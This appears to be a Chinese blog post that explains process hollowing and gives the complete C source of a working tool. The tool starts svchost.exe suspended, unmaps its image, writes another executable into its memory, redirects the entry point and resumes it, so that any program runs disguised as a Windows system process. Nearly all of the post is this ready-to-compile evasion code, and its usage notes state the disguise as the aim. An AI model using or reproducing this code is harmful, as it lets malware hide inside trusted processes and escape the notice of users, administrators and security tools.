原理:
1. 把你的程序读要内存
2. 以 CREATE_SUSPENDED模式CreateProcess打开svchost.exe
3. 修改svchost.exe页面的属性,然后把要运行的那个程序的内容拷贝到svchost.exe页面
4. 然后再运行 实质想当于是 披着/svchost.exe进程的相关信息/这张皮,而皮里面的肉都被改了
#include <stdio.h> #include <windows.h> #include <tlhelp32.h> //#include "ntpsapi.h" struct PEHeader { unsigned long signature; unsigned short machine; unsigned short numSections; unsigned long timeDateStamp; unsigned long pointerToSymbolTable; unsigned long numOfSymbols; unsigned short sizeOfOptionHeader; unsigned short characteristics; }; typedef struct PEHeader PE_Header; struct PEExtHeader { unsigned short magic; unsigned char majorLinkerVersion; unsigned char minorLinkerVersion; unsigned long sizeOfCode; unsigned long sizeOfInitializedData; unsigned long sizeOfUninitializedData; unsigned long addressOfEntryPoint; unsigned long baseOfCode; unsigned long baseOfData; unsigned long imageBase; unsigned long sectionAlignment; unsigned long fileAlignment; unsigned short majorOSVersion; unsigned short minorOSVersion; unsigned short majorImageVersion; unsigned short minorImageVersion; unsigned short majorSubsystemVersion; unsigned short minorSubsystemVersion; unsigned long reserved1; unsigned long sizeOfImage; unsigned long sizeOfHeaders; unsigned long checksum; unsigned short subsystem; unsigned short DLLCharacteristics; unsigned long sizeOfStackReserve; unsigned long sizeOfStackCommit; unsigned long sizeOfHeapReserve; unsigned long sizeOfHeapCommit; unsigned long loaderFlags; unsigned long numberOfRVAAndSizes; unsigned long exportTableAddress; unsigned long exportTableSize; unsigned long importTableAddress; unsigned long importTableSize; unsigned long resourceTableAddress; unsigned long resourceTableSize; unsigned long exceptionTableAddress; unsigned long exceptionTableSize; unsigned long certFilePointer; unsigned long certTableSize; unsigned long relocationTableAddress; unsigned long relocationTableSize; unsigned long debugDataAddress; unsigned long debugDataSize; unsigned long archDataAddress; unsigned long archDataSize; unsigned long globalPtrAddress; unsigned long globalPtrSize; unsigned long TLSTableAddress; unsigned long TLSTableSize; unsigned long loadConfigTableAddress; unsigned long loadConfigTableSize; unsigned long boundImportTableAddress; unsigned long boundImportTableSize; unsigned long importAddressTableAddress; unsigned long importAddressTableSize; unsigned long delayImportDescAddress; unsigned long delayImportDescSize; unsigned long COMHeaderAddress; unsigned long COMHeaderSize; unsigned long reserved2; unsigned long reserved3; }; typedef struct PEExtHeader PE_ExtHeader; struct Section_Header { unsigned char sectionName[8]; unsigned long virtualSize; unsigned long virtualAddress; unsigned long sizeOfRawData; unsigned long pointerToRawData; unsigned long pointerToRelocations; unsigned long pointerToLineNumbers; unsigned short numberOfRelocations; unsigned short numberOfLineNumbers; unsigned long characteristics; }; typedef struct Section_Header SectionHeader; struct MZ_Header { unsigned short signature; unsigned short partPag; unsigned short pageCnt; unsigned short reloCnt; unsigned short hdrSize; unsigned short minMem; unsigned short maxMem; unsigned short reloSS; unsigned short exeSP; unsigned short chksum; unsigned short exeIP; unsigned short reloCS; unsigned short tablOff; unsigned short overlay; unsigned char reserved[32]; unsigned long offsetToPE; }; typedef struct MZ_Header MZHeader; struct Import_DirEntry { DWORD importLookupTable; DWORD timeDateStamp; DWORD fowarderChain; DWORD nameRVA; DWORD importAddressTable; }; typedef struct Import_DirEntry ImportDirEntry; struct Fixup_Block { unsigned long pageRVA; unsigned long blockSize; }; typedef struct Fixup_Block FixupBlock; #define TARGETPROC "svchost.exe" typedef struct _PROCINFO { DWORD baseAddr; DWORD imageSize; } PROCINFO; BOOL EXPD = FALSE; CHAR *PID; //********************************************************************************************************** // // This function reads the MZ, PE, PE extended and Section Headers from an EXE file. // //********************************************************************************************************** // // 解析PE文件,得到 PE 结构 // BOOL readPEInfo(FILE *fp, MZHeader *outMZ,PE_Header *outPE,PE_ExtHeader *outpeXH,SectionHeader **outSecHdr) { MZHeader mzH; long fileSize; PE_Header peH; PE_ExtHeader peXH; SectionHeader *secHdr; fseek(fp, 0, SEEK_END); fileSize = ftell(fp); fseek(fp, 0, SEEK_SET); if(fileSize < sizeof(MZHeader)) { printf("File size too small\n"); return FALSE; } // read MZ Header fread(&mzH, sizeof(MZHeader), 1, fp); if(mzH.signature != 0x5a4d) // MZ { printf("File does not have MZ header\n"); return FALSE; } printf("Offset to PE Header = %X\n", mzH.offsetToPE); if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header)) { printf("File size too small\n"); return FALSE; } // read PE Header fseek(fp, mzH.offsetToPE, SEEK_SET); fread(&peH, sizeof(PE_Header), 1, fp); printf("Size of option header = %d\n", peH.sizeOfOptionHeader); printf("Number of sections = %d\n", peH.numSections); if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader)) { printf("Unexpected option header size.\n"); return FALSE; } // read PE Ext Header fread(&peXH, sizeof(PE_ExtHeader), 1, fp); printf("Import table address = %X\n", peXH.importTableAddress); printf("Import table size = %X\n", peXH.importTableSize); printf("Import address table address = %X\n", peXH.importAddressTableAddress); printf("Import address table size = %X\n", peXH.importAddressTableSize); // read the sections secHdr = (SectionHeader*)malloc( sizeof(SectionHeader)* (peH.numSections) ); fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp); *outMZ = mzH; *outPE = peH; *outpeXH = peXH; *outSecHdr = secHdr; return TRUE; } //********************************************************************************************************** // // This function calculates the size required to load an EXE into memory with proper alignment. // //********************************************************************************************************** // // 返回文件所占用的内存空间 // int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,SectionHeader *inSecHdr) { int result = 0; int val, i; int alignment = inpeXH->sectionAlignment; if(inpeXH->sizeOfHeaders % alignment == 0) // PE头对齐 result += inpeXH->sizeOfHeaders; else { val = inpeXH->sizeOfHeaders / alignment; val++; result += (val * alignment); } for(i = 0; i < inPE->numSections; i++) // 节对齐 { if(inSecHdr[i].virtualSize) { if(inSecHdr[i].virtualSize % alignment == 0) result += inSecHdr[i].virtualSize; else { int val = inSecHdr[i].virtualSize / alignment; val++; result += (val * alignment); } } } return result; } //********************************************************************************************************** // // This function calculates the aligned size of a section // //********************************************************************************************************** // // 返回真实在内存中占用的大小 // unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment) { if(curSize % alignment == 0) return curSize; else { int val = curSize / alignment; val++; return (val * alignment); } } //********************************************************************************************************** // // This function loads a PE file into memory with proper alignment. // Enough memory must be allocated at ptrLoc. // //********************************************************************************************************** // // 加载PE文件到内存中 // BOOL loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,SectionHeader *inSecHdr, LPVOID ptrLoc) { unsigned long headerSize, readSize; int i; char *outPtr = (char *)ptrLoc; fseek(fp, 0, SEEK_SET); headerSize = inpeXH->sizeOfHeaders; // certain PE files have sectionHeaderSize value > size of PE file itself. // this loop handles this situation by find the section that is nearest to the // PE header. // // 如果文件太小,以至与PE头中还包括了节的内容,这样就先不拷贝节的内容 // 当然这种情况很少见 // for(i = 0; i < inPE->numSections; i++) { if(inSecHdr[i].pointerToRawData < headerSize) headerSize = inSecHdr[i].pointerToRawData; } // read the PE header readSize = fread(outPtr, 1, headerSize, fp); printf("HeaderSize = %d\n", headerSize); if(readSize != headerSize) { printf("Error reading headers (%d %d)\n", readSize, headerSize); return FALSE; } // // getAlignedSize 返回真实占用的内存的大小 // outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment); // read the sections for(i = 0; i < inPE->numSections; i++) { if(inSecHdr[i].sizeOfRawData > 0) { unsigned long toRead = inSecHdr[i].sizeOfRawData; if(toRead > inSecHdr[i].virtualSize) toRead = inSecHdr[i].virtualSize; fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET); readSize = fread(outPtr, 1, toRead, fp); if(readSize != toRead) { printf("Error reading section %d\n", i); return FALSE; } outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment); } else { // this handles the case where the PE file has an empty section. E.g. UPX0 section // in UPXed files. if(inSecHdr[i].virtualSize) outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment); } } return TRUE; } //********************************************************************************************************** // // This function loads a PE file into memory with proper alignment. // Enough memory must be allocated at ptrLoc. // //********************************************************************************************************** void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase) { long delta; int numEntries,i, relocType; unsigned short *offsetPtr; DWORD *codeLoc; FixupBlock *fixBlk; if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) { fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress); delta = newBase - inpeXH->imageBase; while(fixBlk->blockSize) { printf("Addr = %X\n", fixBlk->pageRVA); printf("Size = %X\n", fixBlk->blockSize); numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1; printf("Num Entries = %d\n", numEntries); offsetPtr = (unsigned short *)(fixBlk + 1); for(i = 0; i < numEntries; i++) { codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF)); relocType = (*offsetPtr & 0xF000) >> 12; printf("Val = %X\n", *offsetPtr); printf("Type = %X\n", relocType); if(relocType == 3) *codeLoc = ((DWORD)*codeLoc) + delta; else { printf("Unknown relocation type = %d\n", relocType); } offsetPtr++; } fixBlk = (FixupBlock *)offsetPtr; } } } //********************************************************************************************************** // // Creates the original EXE in suspended mode and returns its info in the PROCINFO structure. // //********************************************************************************************************** BOOL createChild(PPROCESS_INFORMATION pi, // OUT PCONTEXT ctx, // OUT PROCINFO *outChildProcInfo // OUT ) { PROCINFO *outChildProcInfo2 = NULL; STARTUPINFO si = {0}; DWORD read; DWORD *pebInfo; DWORD curAddr; MEMORY_BASIC_INFORMATION memInfo, memInfo2; DEBUG_EVENT DBEvent; DWORD read2, curAddr2; DWORD *pebInfo2; if(!EXPD) { if(CreateProcess(NULL, TARGETPROC, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, pi)) { ctx->ContextFlags=CONTEXT_FULL; GetThreadContext(pi->hThread, ctx); // // 获取外壳进程运行状态,[ctx.Ebx+8]内存处存的是外壳进程的加载基址,ctx.Eax存放有外壳进程的入口地址 pebInfo = (DWORD *)ctx->Ebx; ReadProcessMemory(pi->hProcess, &pebInfo[2], (LPVOID)&(outChildProcInfo->baseAddr), sizeof(DWORD), &read); curAddr = outChildProcInfo->baseAddr; //在 SVCHOST.EXE中寻找 MEM_FREE 的内存地址 while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr, &memInfo, sizeof(memInfo))) { if(memInfo.State == MEM_FREE) break; curAddr += memInfo.RegionSize; } outChildProcInfo->imageSize = (DWORD)curAddr - (DWORD)outChildProcInfo->baseAddr; return TRUE; } } else{ if(DebugActiveProcess((DWORD)*PID)) { WaitForDebugEvent(&DBEvent,INFINITE); pi->hThread=DBEvent.u.CreateProcessInfo.hThread; pi->hProcess=DBEvent.u.CreateProcessInfo.hProcess; ctx->ContextFlags=CONTEXT_FULL; GetThreadContext(pi->hThread, ctx); pebInfo2 = (DWORD *)ctx->Ebp; *pebInfo2+=0x30; ReadProcessMemory(pi->hProcess, &pebInfo2[2], (LPVOID)&(outChildProcInfo2->baseAddr), sizeof(DWORD), &read2); curAddr2 = outChildProcInfo2->baseAddr; while(VirtualQueryEx(pi->hProcess, (LPVOID)curAddr2, &memInfo2, sizeof(memInfo2))) { if(memInfo2.State == MEM_FREE) break; curAddr2+= memInfo2.RegionSize; } outChildProcInfo2->imageSize = (DWORD)curAddr2 - (DWORD)outChildProcInfo2->baseAddr; return TRUE; } } return FALSE; } //********************************************************************************************************** // // Returns TRUE if the PE file has a relocation table // //********************************************************************************************************** BOOL hasRelocationTable(PE_ExtHeader *inpeXH) { if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize) { return TRUE; } return FALSE; } typedef DWORD (WINAPI *PTRZwUnmapViewOfSection)(IN HANDLE ProcessHandle, IN PVOID BaseAddress); //********************************************************************************************************** // // To replace the original EXE with another one we do the following. // 1) Create the original EXE process in suspended mode. // 2) Unmap the image of the original EXE. // 3) Allocate memory at the baseaddress of the new EXE. // 4) Load the new EXE image into the allocated memory. // 5) Windows will do the necessary imports and load the required DLLs for us when we resume the suspended // thread. // // When the original EXE process is created in suspend mode, GetThreadContext returns these useful // register values. // EAX - process entry point // EBX - points to PEB // // So before resuming the suspended thread, we need to set EAX of the context to the entry point of the // new EXE. // //********************************************************************************************************** void doFork(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH, SectionHeader *inSecHdr, LPVOID ptrLoc,DWORD imageSize) { STARTUPINFO si = {0}; PROCESS_INFORMATION pi; CONTEXT ctx; PROCINFO childInfo; LPVOID v; DWORD oldProtect; DWORD *pebInfo; DWORD wrote; PE_ExtHeader *peXH; if(createChild(&pi, &ctx, &childInfo)) { pebInfo = (DWORD *)ctx.Ebx; printf("Original EXE loaded (PID = %d).\n", pi.dwProcessId); printf("Original Base Addr = %X, Size = %X\n", childInfo.baseAddr, childInfo.imageSize); v = (LPVOID)NULL; if(inpeXH->imageBase == childInfo.baseAddr && imageSize <= childInfo.imageSize) { // if new EXE has same baseaddr and is its size is <= to the original EXE, just // overwrite it in memory v = (LPVOID)childInfo.baseAddr; VirtualProtectEx(pi.hProcess, (LPVOID)childInfo.baseAddr, childInfo.imageSize, PAGE_EXECUTE_READWRITE, &oldProtect); printf("Using Existing Mem for New EXE at %X\n", (unsigned long)v); } else { // get address of ZwUnmapViewOfSection PTRZwUnmapViewOfSection pZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection"); // try to unmap the original EXE image if(pZwUnmapViewOfSection(pi.hProcess, (LPVOID)childInfo.baseAddr) == 0) { // allocate memory for the new EXE image at the prefered imagebase. v = VirtualAllocEx(pi.hProcess, (LPVOID)inpeXH->imageBase, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(v) printf("Unmapped and Allocated Mem for New EXE at %X\n", (unsigned long)v); } } if(!v && hasRelocationTable(inpeXH)) { // if unmap failed but EXE is relocatable, then we try to load the EXE at another // location v = VirtualAllocEx(pi.hProcess, (void *)NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(v) { printf("Allocated Mem for New EXE at %X. EXE will be relocated.\n", (unsigned long)v); // we've got to do the relocation ourself if we load the image at another // memory location doRelocation(inMZ, inPE, inpeXH, inSecHdr, ptrLoc, (DWORD)v); } } printf("EIP = %X\n", ctx.Eip); printf("EAX = %X\n", ctx.Eax); printf("EBX = %X\n", ctx.Ebx); // EBX points to PEB printf("ECX = %X\n", ctx.Ecx); printf("EDX = %X\n", ctx.Edx); if(v) { printf("New EXE Image Size = %X\n", imageSize); // patch the EXE base addr in PEB (PEB + 8 holds process base addr) WriteProcessMemory(pi.hProcess, &pebInfo[2], &v, sizeof(DWORD), &wrote); // patch the base addr in the PE header of the EXE that we load ourselves peXH = (PE_ExtHeader *)((DWORD)inMZ->offsetToPE + sizeof(PE_Header) + (DWORD)ptrLoc); peXH->imageBase = (DWORD)v; if(WriteProcessMemory(pi.hProcess, v, ptrLoc, imageSize, NULL)) { printf("New EXE image injected into process.\n"); ctx.ContextFlags=CONTEXT_FULL; //ctx.Eip = (DWORD)v + ((DWORD)dllLoaderWritePtr - (DWORD)ptrLoc); if((DWORD)v == childInfo.baseAddr) { ctx.Eax = (DWORD)inpeXH->imageBase + inpeXH->addressOfEntryPoint; // eax holds new entry point } else { // in this case, the DLL was not loaded at the baseaddr, i.e. manual relocation was // performed. ctx.Eax = (DWORD)v + inpeXH->addressOfEntryPoint; // eax holds new entry point } printf("********> EIP = %X\n", ctx.Eip); printf("********> EAX = %X\n", ctx.Eax); SetThreadContext(pi.hThread,&ctx); ResumeThread(pi.hThread); printf("Process resumed (PID = %d).\n", pi.dwProcessId); } else { printf("WriteProcessMemory failed\n"); TerminateProcess(pi.hProcess, 0); } } else { printf("Load failed. Consider making this EXE relocatable.\n"); TerminateProcess(pi.hProcess, 0); } } else { printf("Cannot load %s\n", TARGETPROC); } } int main(int argc, char* argv[]) { MZHeader mzH; PE_Header peH; PE_ExtHeader peXH; SectionHeader *secHdr; LPVOID ptrLoc; FILE *fp; if((argc < 2 )||(argc > 3)) { printf("\nUsage: %s [pid]\n", argv[0]); return 1; } if(argc==3){ PID = malloc(1024); memset(PID,0,1024); strcpy(PID,argv[2]); EXPD= TRUE ; } fp = fopen(argv[1], "rb"); if(fp) { if(readPEInfo(fp, &mzH, &peH, &peXH, &secHdr)) // 得到PE 结构 { int imageSize = calcTotalImageSize(&mzH, &peH, &peXH, secHdr); //得到文件占用的内存空间的大小 printf("Image Size = %X\n", imageSize); ptrLoc = VirtualAlloc(NULL, imageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //分配内存 if(ptrLoc) { printf("Memory allocated at %X\n", ptrLoc); loadPE(fp, &mzH, &peH, &peXH, secHdr, ptrLoc); //把文件加载到内存中 doFork(&mzH, &peH, &peXH, secHdr, ptrLoc, imageSize); } else printf("Allocation failed\n"); } fclose(fp); } else printf("\nCannot open the EXE file!\n"); return 0; }
使用方法 ----xx.exe 你要启动的程序名
然后看系统进程,会发现多了一个svchost.exe的进程,而这个进程实际上你启动的那个程序
http://www.cnblogs.com/witxjp/archive/2011/03/16/1986190.html